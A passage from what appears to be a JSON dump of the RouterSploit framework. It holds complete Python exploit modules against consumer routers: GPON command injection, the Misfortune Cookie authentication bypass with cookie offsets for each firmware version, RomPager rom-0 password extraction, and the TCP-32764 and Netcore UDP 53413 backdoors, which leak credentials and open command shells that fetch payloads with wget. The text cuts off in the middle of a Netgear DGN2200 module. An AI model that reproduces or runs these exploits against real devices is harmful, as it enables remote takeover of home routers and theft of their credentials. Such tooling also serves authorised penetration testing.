    "content": "import re\nfrom time import sleep\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"GPON Home Gateway RCE\",\n        \"description\": \"Module exploits GPON Home Gatewa command injection vulnerability, that allows \"\n                       \"executing commands on operating system level.\",\n        \"authors\": (\n            \"VPNMentor\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/\",\n        ),\n        \"devices\": (\n            \"GPON Home Gateway\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            shell(self, architecture=\"mipsbe\", method=\"wget\", location=\"/var/tmp/\")\n        else:\n            print_error(\"Exploit failed - target does not seem to be vulnerable\")\n\n    def execute(self, cmd):\n        payload = \"`{cmd}`;{cmd}\".format(cmd=cmd)\n        data = {\n            \"XWebPageName\": \"diag\",\n            \"diag_action\": \"ping\",\n            \"wan_conlist\": \"0\",\n            \"dest_host\": payload,\n            \"ipv\": \"0\"\n        }\n        self.http_request(\n            method=\"POST\",\n            path=\"/GponForm/diag_Form?images/\",\n            data=data\n        )\n\n        response = self.retrieve_response()\n        if not response:\n            sleep(3)\n            response = self.retrieve_response()\n\n        return response\n\n    def retrieve_response(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/diag.html?images/\"\n        )\n\n        if response:\n            res = re.findall(r\"diag_result = \\\"(.*?)\\\\nNo traceroute test.\", response.text)\n            if res:\n                return res[0].replace(\"\\\\n\", \"\\n\")\n\n        return \"\"\n\n    @mute\n    def check(self):\n        mark = utils.random_text(12)\n        cmd = \"echo {}\".format(mark)\n\n        response = self.execute(cmd)\n        if mark in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/multi/misfortune_cookie.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Misfortune Cookie\",\n        \"description\": \"Exploit implementation for Misfortune Cookie Authentication Bypass vulnerability.\",\n        \"authors\": (\n            \"Check Point <www.checkpoint.com>\",  # vulnerability discovery\n            \"Jan Trencansky\",  # proof of concept exploit\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n            \"Milad Doorbash <milad.doorbash[at]gmail.com>\",  # authentication bypass exploit\n        ),\n        \"references\": (\n            \"http://mis.fortunecook.ie/\",\n            \"http://embedsec.systems/embedded-device-security/2015/02/16/Misfortune-Cookie-CVE-2014-9222-Demystified.html\",\n            \"http://piotrbania.com/all/articles/tplink_patch\",\n            \"https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/10/porting-the-misfortune-cookie-exploit-whitepaperpdf\",\n        ),\n        \"devices\": (\n            #         brand       # model        # firmware\n            {'name': \"Azmoon     AZ-D140W        2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1\", 'number': 107367693, 'offset': 13},  # 0x803D5A79        # tested\n            {'name': \"Billion    BiPAC 5102S     Av2.7.0.23 (UE0.B1C)\", 'number': 107369694, 'offset': 13},  # 0x8032204d                       # ----------\n            {'name': \"Billion    BiPAC 5102S     Bv2.7.0.23 (UE0.B1C)\", 'number': 107369694, 'offset': 13},  # 0x8032204d                       # ----------\n            {'name': \"Billion    BiPAC 5200      2.11.84.0(UE2.C2)3.11.11.6\", 'number': 107369545, 'offset': 9},  # 0x803ec2ad                  # ----------\n            {'name': \"Billion    BiPAC 5200      2_11_62_2_ UE0.C2D_3_10_16_0\", 'number': 107371218, 'offset': 21},  # 0x803c53e5               # ----------\n            {'name': \"Billion    BiPAC 5200A     2_10_5 _0(RE0.C2)3_6_0_0\", 'number': 107366366, 'offset': 25},  # 0x8038a6e1                   # ----------\n            {'name': \"Billion    BiPAC 5200A     2_11_38_0 (RE0.C29)3_10_5_0\", 'number': 107371453, 'offset': 9},  # 0x803b3a51                 # ----------\n            {'name': \"Billion    BiPAC 5200GR4   2.11.91.0(RE2.C29)3.11.11.52\", 'number': 107367690, 'offset': 21},  # 0x803D8A51               # tested\n            {'name': \"Billion    BiPAC 5200SRD   2.10.5.0 (UE0.C2C) 3.6.0.0\", 'number': 107368270, 'offset': 1},  # 0x8034b109                  # ----------\n            {'name': \"Billion    BiPAC 5200SRD   2.12.17.0_UE2.C3_3.12.17.0\", 'number': 107371378, 'offset': 37},  # 0x8040587d                 # ----------\n            {'name': \"Billion   BiPAC 5200SRD   2_11_62_2(UE0.C3D)3_11_11_22\", 'number': 107371218, 'offset': 13},  # 0x803c49d5                # ----------\n            {'name': \"D-Link    DSL-2520U       Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL\", 'number': 107368902, 'offset': 25},  # 0x803fea01  # tested\n            {'name': \"D-Link    DSL-2600U       Z1_DSL-2600U\", 'number': 107366496, 'offset': 13},  # 0x8040637d                                # ----------\n            {'name': \"D-Link    DSL-2600U       Z2_V1.08_ras\", 'number': 107360133, 'offset': 20},  # 0x803389B0                                # ----------\n            {'name': \"TP-Link   TD-8616         V2_080513\", 'number': 107371483, 'offset': 21},  # 0x80397055                                   # ----------\n            {'name': \"TP-Link   TD-8816         V4_100528_Russia\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                            # ----------\n            {'name': \"TP-Link   TD-8816         V4_100524\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                                   # ----------\n            {'name': \"TP-Link   TD-8816         V5_100528_Russia\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                            # ----------\n            {'name': \"TP-Link   TD-8816         V5_100524\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                                   # tested\n            {'name': \"TP-Link   TD-8816         V5_100903\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                                   # ----------\n            {'name': \"TP-Link   TD-8816         V6_100907\", 'number': 107371426, 'offset': 17},  # 0x803c6e09                                   # ----------\n            {'name': \"TP-Link   TD-8816         V7_111103\", 'number': 107371161, 'offset': 1},  # 0x803e1bd5                                    # ----------\n            {'name': \"TP-Link   TD-8816         V7_130204\", 'number': 107370211, 'offset': 5},  # 0x80400c85                                    # ----------\n            {'name': \"TP-Link   TD-8817         V5_100524\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                                   # ----------\n            {'name': \"TP-Link   TD-8817         V5_100702_TR\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                                # ----------\n            {'name': \"TP-Link   TD-8817         V5_100903\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                                   # ----------\n            {'name': \"TP-Link   TD-8817         V6_100907\", 'number': 107369788, 'offset': 1},  # 0x803b6e09                                    # ----------\n            {'name': \"TP-Link   TD-8817         V6_101221\", 'number': 107369788, 'offset': 1},  # 0x803b6e09                                    # ----------\n            {'name': \"TP-Link   TD-8817         V7_110826\", 'number': 107369522, 'offset': 25},  # 0x803d1bd5                                   # ----------\n            {'name': \"TP-Link   TD-8817         V7_130217\", 'number': 107369316, 'offset': 21},  # 0x80407625                                   # ----------\n            {'name': \"TP-Link   TD-8817         V7_120509\", 'number': 107369321, 'offset': 9},  # 0x803fbcc5                                    # tested\n            {'name': \"TP-Link   TD-8817         V8_140311\", 'number': 107351277, 'offset': 20},  # 0x8024E148                                   # tested\n            {'name': \"TP-Link   TD-8820         V3_091223\", 'number': 107369768, 'offset': 17},  # 0x80397E69                                   # tested\n            {'name': \"TP-Link   TD-8840T        V1_080520\", 'number': 107369845, 'offset': 5},  # 0x80387055                                    # ----------\n            {'name': \"TP-Link   TD-8840T        V2_100525\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                                   # tested\n            {'name': \"TP-Link   TD-8840T        V2_100702_TR\", 'number': 107369790, 'offset': 17},  # 0x803ae0b1                                # ----------\n            {'name': \"TP-Link   TD-8840T        V2_090609\", 'number': 107369570, 'offset': 1},  # 0x803c65d5                                    # ----------\n            {'name': \"TP-Link   TD-8840T        V3_101208\", 'number': 107369766, 'offset': 17},  # 0x803c3e89                                    # tested\n            {'name': \"TP-Link   TD-8840T        V3_110221\", 'number': 107369764, 'offset': 5},  # 0x803d1a09                                    # ----------\n            {'name': \"TP-Link   TD-8840T        V3_120531\", 'number': 107369688, 'offset': 17},  # 0x803fed35                                   # ----------\n            {'name': \"TP-Link   TD-W8101G       V1_090107\", 'number': 107367772, 'offset': 37},  # 0x803bf701                                   # ----------\n            {'name': \"TP-Link   TD-W8101G       V1_090107\", 'number': 107367808, 'offset': 21},  # 0x803e5b6d                                   # ----------\n            {'name': \"TP-Link   TD-W8101G       V2_100819\", 'number': 107367751, 'offset': 21},  # 0x803dc701                                   # ----------\n            {'name': \"TP-Link   TD-W8101G       V2_101015_TR\", 'number': 107367749, 'offset': 13},  # 0x803e1829                                # ----------\n            {'name': \"TP-Link   TD-W8101G       V2_101101\", 'number': 107367749, 'offset': 13},  # 0x803e1829                                   # ----------\n            {'name': \"TP-Link   TD-W8101G       V3_110119\", 'number': 107367765, 'offset': 25},  # 0x804bb941                                   # ----------\n            {'name': \"TP-Link   TD-W8101G       V3_120213\", 'number': 107367052, 'offset': 25},  # 0x804e1ff9                                   # ----------\n            {'name': \"TP-Link   TD-W8101G       V3_120604\", 'number': 107365835, 'offset': 1},  # 0x804f16a9                                    # ----------\n            {'name': \"TP-Link   TD-W8151N       V3_120530\", 'number': 107353867, 'offset': 24},  # 0x8034F3A4                                   # tested\n            {'name': \"TP-Link   TD-W8901G       V1_080522\", 'number': 107367787, 'offset': 21},  # 0x803AB30D                                   # tested\n            {'name': \"TP-Link   TD-W8901G       V1,2_080522\", 'number': 107368013, 'offset': 5},  # 0x803AB30D                                  # ----------\n            {'name': \"TP-Link   TD-W8901G       V2_090113_Turkish\", 'number': 107368013, 'offset': 5},  # 0x803AB30D                            # ----------\n            {'name': \"TP-Link   TD-W8901G       V3_140512\", 'number': 107367854, 'offset': 9},  # 0x803cf335                                    # tested\n            {'name': \"TP-Link   TD-W8901G       V3_100603\", 'number': 107367751, 'offset': 21},  # 0x803DC701                                   # tested\n            {'name': \"TP-Link   TD-W8901G       V3_100702_TR\", 'number': 107367751, 'offset': 21},  # 0x803DC701                                # tested\n            {'name': \"TP-Link   TD-W8901G       V3_100901\", 'number': 107367749, 'offset': 13},  # 0x803E1829                                   # tested\n            {'name': \"TP-Link   TD-W8901G       V6_110119\", 'number': 107367765, 'offset': 25},  # 0x804BB941                                   # tested\n            {'name': \"TP-Link   TD-W8901G       V6_110915\", 'number': 107367682, 'offset': 21},  # 0x804D7CB9                                   # tested\n            {'name': \"TP-Link   TD-W8901G       V6_120418\", 'number': 107365835, 'offset': 1},  # 0x804F16A9                                    # ----------\n            {'name': \"TP-Link   TD-W8901G       V6_120213\", 'number': 107367052, 'offset': 25},  # 0x804E1FF9                                   # ----------\n            {'name': \"TP-Link   TD-W8901GB      V3_100727\", 'number': 107367756, 'offset': 13},  # 0x803dfbe9                                   # ----------\n            {'name': \"TP-Link   TD-W8901GB      V3_100820\", 'number': 107369393, 'offset': 21},  # 0x803f1719                                   # ----------\n            {'name': \"TP-Link   TD-W8901N       V1_111211\", 'number': 107353880, 'offset': 0},  # 0x8034FF94                                   # tested\n            {'name': \"TP-Link   TD-W8951ND      V1_101124,100723,100728\", 'number': 107369839, 'offset': 25},  # 0x803d2d61                     # tested\n            {'name': \"TP-Link   TD-W8951ND      V1_110907\", 'number': 107369876, 'offset': 13},  # 0x803d6ef9                                   # ----------\n            {'name': \"TP-Link   TD-W8951ND      V1_111125\", 'number': 107369876, 'offset': 13},  # 0x803d6ef9                                   # ----------\n            {'name': \"TP-Link   TD-W8951ND      V3.0_110729_FI\", 'number': 107366743, 'offset': 21},  # 0x804ef189                              # ----------\n            {'name': \"TP-Link   TD-W8951ND      V3_110721\", 'number': 107366743, 'offset': 21},  # 0x804ee049                                   # ----------\n            {'name': \"TP-Link   TD-W8951ND      V3_20110729_FI\", 'number': 107366743, 'offset': 21},  # 0x804ef189                              # ----------\n            {'name': \"TP-Link   TD-W8951ND      V4_120511\", 'number': 107364759, 'offset': 25},  # 0x80523979                                  # tested\n            {'name': \"TP-Link   TD-W8951ND      V4_120607\", 'number': 107364759, 'offset': 13},  # 0x80524A91                                   # tested\n            {'name': \"TP-Link   TD-W8951ND      V4_120912_FL\", 'number': 107364760, 'offset': 21},  # 0x80523859                                # tested\n            {'name': \"TP-Link   TD-W8961NB      V1_110107\", 'number': 107369844, 'offset': 17},  # 0x803de3f1                                   # tested\n            {'name': \"TP-Link   TD-W8961NB      V1_110519\", 'number': 107369844, 'offset': 17},  # 0x803de3f1                                   # ----------\n            {'name': \"TP-Link   TD-W8961NB      V2_120319\", 'number': 107367629, 'offset': 21},  # 0x80531859                                   # ----------\n            {'name': \"TP-Link   TD-W8961NB      V2_120823\", 'number': 107366421, 'offset': 13},  # 0x80542e59                                   # ----------\n            {'name': \"TP-Link   TD-W8961ND      V1_100722,101122\", 'number': 107369839, 'offset': 25},  # 0x803D2D61                            # tested\n            {'name': \"TP-Link   TD-W8961ND      V1_101022_TR\", 'number': 107369839, 'offset': 25},  # 0x803D2D61                                # ----------\n            {'name': \"TP-Link   TD-W8961ND      V1_111125\", 'number': 107369876, 'offset': 13},  # 0x803D6EF9                                   # ----------\n            {'name': \"TP-Link   TD-W8961ND      V2_120427\", 'number': 107364732, 'offset': 25},  # 0x8052e0e9                                   # ----------\n            {'name': \"TP-Link   TD-W8961ND      V2_120710_UK\", 'number': 107364771, 'offset': 37},  # 0x80523AA9                                # ----------\n            {'name': \"TP-Link   TD-W8961ND      V2_120723_FI\", 'number': 107364762, 'offset': 29},  # 0x8052B6B1                                # ----------\n            {'name': \"TP-Link   TD-W8961ND      V3_120524,120808\", 'number': 107353880, 'offset': 0},  # 0x803605B4                             # ----------\n            {'name': \"TP-Link   TD-W8961ND      V3_120830\", 'number': 107353414, 'offset': 36},  # 0x803605B4                                   # ----------\n            {'name': \"ZyXEL     P-660R-T3       3.40(BOQ.0)C0\", 'number': 107369567, 'offset': 21},  # 0x803db071                               # tested\n            {'name': \"ZyXEL     P-660RU-T3      3.40(BJR.0)C0\", 'number': 107369567, 'offset': 21},  # 0x803db071\n        ),\n    }\n\n    # *---------- means data for this firmware is obtained from other tested firmwares.\n    # Change to tested state if you test it on a real device.don't forget to double check\n    # your device model and full firmware version since each firmware needs its unique cookie\n    # number\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n    device = OptInteger(\"\", \"Target device (show devices)\")\n\n    def run(self):\n        devices = self._Exploit__info__['devices']\n        if self.device == \"\" or re.match(r\"^\\d+?$\", self.device) is None or int(self.device) < 0 or int(self.device) >= len(devices):\n            print_error(\"Invalid device identifier option\")\n            return\n        number = devices[int(self.device)]['number']\n        offset = devices[int(self.device)]['offset']\n        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'\n        headers = {'User-Agent': user_agent,\n                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n                   'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',\n                   'Connection': 'keep-alive',\n                   'Accept-Encoding': 'gzip, deflate',\n                   'Cache-Control': 'no-cache',\n                   'Cookie': 'C' + str(number) + '=' + 'B' * offset + '\\x00'}\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\",\n            headers=headers\n        )\n\n        if response is not None and response.status_code <= 302:\n            print_success(\n                \"Seems good but check \" +\n                \"{}:{} \".format(self.target, self.port) +\n                \"using your browser to verify if authentication is disabled or not.\"\n            )\n            return True\n        else:\n            print_error(\"Failed.\")\n\n    @mute\n    def check(self):\n        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'\n        headers = {\n            \"User-Agent\": user_agent,\n            \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n            \"Accept-language\": \"sk,cs;q=0.8,en-US;q=0.5,en;q,0.3\",\n            \"Connection\": \"keep-alive\",\n            \"Accept-Encoding\": \"gzip, deflate\",\n            \"Cache-Control\": \"no-cache\",\n            \"Cookie\": \"C107373883=/omg1337hax\",\n        }\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/test\",\n            headers=headers\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code != 404:\n            return False  # not rompage\n        else:\n            if 'server' in response.headers:\n                server = response.headers.get('server')\n\n                if re.search('RomPager', server) is not None:\n                    if re.search('omg1337hax', response.text) is not None:\n                        return True  # device is vulnerable\n                    else:\n                        return None  # could not verify\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/multi/rom0.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\nfrom routersploit.libs.lzs.lzs import LZSDecompress\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"RomPager ROM-0\",\n        \"description\": \"Exploits RomPager ROM-0 authentication bypass vulnerability that allows downloading \"\n                       \"rom file and extract password without credentials.\",\n        \"authors\": (\n            \"0BuRner\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-4019\",\n            \"http://www.osvdb.org/show/osvdb/102668\",\n            \"https://dariusfreamon.wordpress.com/tag/rompager/\",\n            \"http://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/\",\n            \"https://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf\",\n        ),\n        \"devices\": (\n            \"AirLive WT-2000ARM (2.11.6.0(RE0.C29)3.7.6.1)\",\n            \"D-Link DSL-2520U (1.08 Hardware Version: B1)\",\n            \"D-Link DSL-2640R\",\n            \"D-Link DSL-2740R (EU_1.13 Hardware Version: A1)\",\n            \"Huawei 520 HG\",\n            \"Huawei 530 TRA\",\n            \"Pentagram Cerberus P 6331-42\",\n            \"TP-Link TD-8816\",\n            \"TP-Link TD-8817 (3.0.1 Build 110402 Rel.02846)\",\n            \"TP-LINK TD-8840T (3.0.0 Build 101208 Rel.36427)\",\n            \"TP-Link TD-W8901G\",\n            \"TP-Link TD-W8951ND\",\n            \"TP-Link TD-W8961ND\",\n            \"ZTE ZXV10 W300 (W300V1.0.0a_ZRD_CO3)\",\n            \"ZTE ZXDSL 831CII (ZXDSL 831CIIV2.2.1a_Z43_MD)\",\n            \"ZynOS\",\n            \"ZyXEL ES-2024\",\n            \"ZyXEL Prestige P-2602HW\",\n            \"ZyXEL Prestige 782R\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n\n            print_status(\"Downloading rom-0 file...\")\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/rom-0\",\n            )\n\n            if response:\n                print_status(\"Extracting password from file...\")\n                password = self.extract_password(response.content)\n                print_success(\"Router password is: {}\".format(password))\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    @staticmethod\n    def extract_password(data):\n        fpos = 8568\n\n        # Decompress chunk\n        result, window = LZSDecompress(data[fpos:])\n        print_status(\"Decompressed chunk: {0}\".format(result))\n\n        # Extract plaintext password\n        res = re.findall(\"([\\040-\\176]{5,})\", result)\n        if res:\n            return res[0]\n\n        return \"<not found>\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"HEAD\",\n            path=\"/rom-0\"\n        )\n\n        if response is not None:\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/rom-0\",\n            )\n\n            if response is not None \\\n                    and response.status_code == 200 \\\n                    and \"<html\" not in response.text \\\n                    and len(response.text) > 500:\n                return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/multi/tcp_32764_info_disclosure.py",
    "content": "import struct\nimport re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.tcp.tcp_client import TCPClient\n\n\nclass Exploit(TCPClient):\n    __info__ = {\n        \"name\": \"TCP-32764 Info Disclosure\",\n        \"description\": \"Exploits backdoor functionality that allows fetching \"\n                       \"credentials for administrator user.\",\n        \"authors\": (\n            \"Eloi Vanderbeken\",  # vulnerability discovery & proof of concept exploit\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/elvanderb/TCP-32764\",\n        ),\n        \"devices\": (\n            \"Cisco RVS4000 fwv 2.0.3.2 & 1.3.0.5\",\n            \"Cisco WAP4410N\",\n            \"Cisco WRVS4400N\",\n            \"Cisco WRVS4400N\",\n            \"Diamond DSL642WLG / SerComm IP806Gx v2 TI\",\n            \"LevelOne WBR3460B\",\n            \"Linksys RVS4000 Firmware V1.3.3.5\",\n            \"Linksys WAG120N\",\n            \"Linksys WAG160n v1 and v2\",\n            \"Linksys WAG200G\",\n            \"Linksys WAG320N\",\n            \"Linksys WAG54G2\",\n            \"Linksys WAG54GS\",\n            \"Linksys WRT350N v2 fw 2.00.19\",\n            \"Linksys WRT300N fw 2.00.17\",\n            \"Netgear DG834\",\n            \"Netgear DGN1000\",\n            \"Netgear DGN2000B\",\n            \"Netgear DGN3500\",\n            \"Netgear DGND3300\",\n            \"Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR\",\n            \"Netgear DM111Pv2\",\n            \"Netgear JNR3210\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(32764, \"Target TCP port\")\n\n    def __init__(self):\n        self.endianness = \"<\"\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n\n            conf = self.get_config()\n\n            lines = re.split(\"\\x00|\\x01\", conf)\n            pattern = re.compile('user(name)?|password|login')\n\n            credentials = []\n\n            for line in lines:\n                try:\n                    (var, value) = line.split(\"=\")\n                    if len(value) > 0 and pattern.search(var):\n                        credentials.append((var, value))\n                except ValueError:\n                    continue\n\n            if credentials:\n                print_table((\"Parameter\", \"Value\"), *credentials)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def get_config(self):\n        # 0x53634D4D - backdoor code\n        # 0x01  - 1 - get config\n        headers = struct.pack(self.endianness + \"III\", 0x53634D4D, 0x01, 0x01)\n        payload = headers + b\"\\x00\"\n\n        tcp_client = self.tcp_create()\n        if tcp_client.connect():\n            tcp_client.send(payload)\n            response = tcp_client.recv(0xC)\n\n            if response:\n                sig, ret_val, ret_len = struct.unpack(self.endianness + \"III\", response)\n                response = tcp_client.recv(ret_len)\n\n                tcp_client.close()\n\n                if response:\n                    return str(response, \"utf-8\")\n\n        return \"\"\n\n    @mute\n    def check(self):\n        tcp_client = self.tcp_create()\n        if tcp_client.connect():\n            tcp_client.send(b\"ABCDE\")\n            response = tcp_client.recv(5)\n            tcp_client.close()\n\n            if response:\n                if response.startswith(b\"MMcS\"):\n                    self.endianness = \">\"  # BE\n                elif response.startswith(b\"ScMM\"):\n                    self.endinaness = \"<\"  # LE\n\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/multi/tcp_32764_rce.py",
    "content": "import struct\nfrom routersploit.core.exploit import *\nfrom routersploit.core.tcp.tcp_client import TCPClient\n\n\nclass Exploit(TCPClient):\n    __info__ = {\n        \"name\": \"TCP-32764 RCE\",\n        \"description\": \"Exploits backdoor functionality that allows executing commands \"\n                       \"on operating system level.\",\n        \"authors\": (\n            \"Eloi Vanderbeken\",  # vulnerability discovery & proof of concept exploit\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/elvanderb/TCP-32764\",\n        ),\n        \"devices\": (\n            \"Cisco RVS4000 fwv 2.0.3.2 & 1.3.0.5\",\n            \"Cisco WAP4410N\",\n            \"Cisco WRVS4400N\",\n            \"Cisco WRVS4400N\",\n            \"Diamond DSL642WLG / SerComm IP806Gx v2 TI\",\n            \"LevelOne WBR3460B\",\n            \"Linksys RVS4000 Firmware V1.3.3.5\",\n            \"Linksys WAG120N\",\n            \"Linksys WAG160n v1 and v2\",\n            \"Linksys WAG200G\",\n            \"Linksys WAG320N\",\n            \"Linksys WAG54G2\",\n            \"Linksys WAG54GS\",\n            \"Linksys WRT350N v2 fw 2.00.19\",\n            \"Linksys WRT300N fw 2.00.17\",\n            \"Netgear DG834\",\n            \"Netgear DGN1000\",\n            \"Netgear DGN2000B\",\n            \"Netgear DGN3500\",\n            \"Netgear DGND3300\",\n            \"Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR\",\n            \"Netgear DM111Pv2\",\n            \"Netgear JNR3210\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(32764, \"Target TCP port\")\n\n    def __init__(self):\n        self.endianness = \"<\"\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        cmd = bytes(cmd, \"utf-8\")\n\n        # 0x53634d4d - backdoor code\n        # 0x07 - exec command\n        # length - length of the command to execute\n        header = struct.pack(self.endianness + \"III\", 0x53634D4D, 0x07, len(cmd) + 1)\n        payload = header + cmd + b\"\\x00\"\n\n        tcp_client = self.tcp_create()\n        if tcp_client.connect():\n            tcp_client.send(payload)\n            response = tcp_client.recv(0xC)\n\n            sig, ret_val, ret_len = struct.unpack(self.endianness + \"III\", response)\n            response = tcp_client.recv(ret_len)\n\n            tcp_client.close()\n\n            if response:\n                return str(response, \"utf-8\")\n\n        return \"\"\n\n    @mute\n    def check(self):\n        tcp_client = self.tcp_create()\n\n        if tcp_client.connect():\n            tcp_client.send(b\"ABCDE\")\n            response = tcp_client.recv(5)\n            tcp_client.close()\n\n            if response:\n                if response.startswith(b\"MMcS\"):\n                    self.endianness = \">\"  # BE\n                elif response.startswith(b\"ScMM\"):\n                    self.endianness = \"<\"  # LE\n\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netcore/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/netcore/udp_53413_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.udp.udp_client import UDPClient\n\n\nclass Exploit(UDPClient):\n    __info__ = {\n        \"name\": \"Netcore/Netis UDP 53413 RCE\",\n        \"description\": \"Exploits Netcore/Netis backdoor functionality that allows \"\n                       \"executing commands on operating system level.\",\n        \"authors\": (\n            \"Tim Yeh, Trend Micro\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.seebug.org/vuldb/ssvid-90227\",\n            \"http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/\",\n        ),\n        \"devices\": (\n            \"Netcore Router\",\n            \"Netis Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(53413, \"Target UDP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self, architecture=\"mipsle\", method=\"wget\", location=\"/var\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        cmd = bytes(cmd, \"utf-8\")\n\n        payload = b\"AA\\x00\\x00AAAA\" + cmd + b\"\\x00\"\n        udp_client = self.udp_create()\n        udp_client.send(payload)\n        response = udp_client.recv(1024)\n        udp_client.udp_close()\n\n        if response:\n            return str(response[8:], \"utf-8\")\n\n        return \"\"\n\n    @mute\n    def check(self):\n        response = b\"\"\n        payload = b\"\\x00\" * 8\n\n        udp_client = self.udp_create()\n        udp_client.send(payload)\n        if udp_client:\n            response = udp_client.recv(1024)\n\n            if response:\n                if response.endswith(b\"\\xD0\\xA5Login:\"):\n                    return True  # target is vulnerable\n                elif response.endswith(b\"\\x00\\x00\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00\"):\n                    return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/dgn2200_dnslookup_cgi_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear DGN2200 RCE\",\n        \"description\": \"Exploits Netgear DGN2200 RCE vulnerability through dnslookup.cgi resource.\",\n        \"authors\": (\n            \"SivertPL\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/41459/\",\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6334\",\n        ),\n        \"devices\": (\n            \"Netgear DGN2200v1\",\n            \"Netgear DGN2200v2\",\n            \"Netgear DGN2200v3\",\n            \"Netgear DGN2200v4\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"admin\", \"Username\")\n    password = OptString(\"password\", \"Password\")\n\n    def run(self):\n        print_status(\"It is not possible to check if target is vulnerable\")\n        